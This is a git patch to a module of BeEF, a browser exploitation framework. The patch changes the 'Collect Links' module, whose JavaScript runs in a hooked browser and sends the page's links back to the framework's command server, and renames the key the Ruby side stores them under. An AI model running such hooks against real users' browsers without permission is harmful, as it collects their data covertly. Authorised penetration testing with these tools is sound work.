From 71c685d078cf01b9fba2ea95091f79e5c2247710 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 24 Nov 2011 22:25:34 +1030 Subject: [PATCH] Fixed Collect Links module aka Get Page HREFs URLs are returned now and wrap instead of overflowing Fixes issue 412 --- modules/browser/collect_links/command.js | 12 ++++++------ modules/browser/collect_links/module.rb | 20 ++++++++++---------- 2 files changed, 16 insertions(+), 16 deletions(-) diff --git a/modules/browser/collect_links/command.js b/modules/browser/collect_links/command.js index 6b2e259e3..aea3fc77b 100644 --- a/modules/browser/collect_links/command.js +++ b/modules/browser/collect_links/command.js @@ -13,9 +13,9 @@ // See the License for the specific language governing permissions and // limitations under the License. // -beef.execute(function() { - - beef.net.send("<%= @command_url %>", <%= @command_id %>, beef.dom.getLinks()); - -}); - +beef.execute(function() { + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "links="+beef.dom.getLinks()); + +}); + diff --git a/modules/browser/collect_links/module.rb b/modules/browser/collect_links/module.rb index 96164ab37..6b4702a2b 100644 --- a/modules/browser/collect_links/module.rb +++ b/modules/browser/collect_links/module.rb @@ -13,13 +13,13 @@ # See the License for the specific language governing permissions and # limitations under the License. # -class Collect_links < BeEF::Core::Command - - def post_execute - content = {} - content['Links'] = @datastore['links'] - - save content - end - -end +class Collect_links < BeEF::Core::Command + + def post_execute + content = {} + content['links'] = @datastore['links'] + + save content + end + +end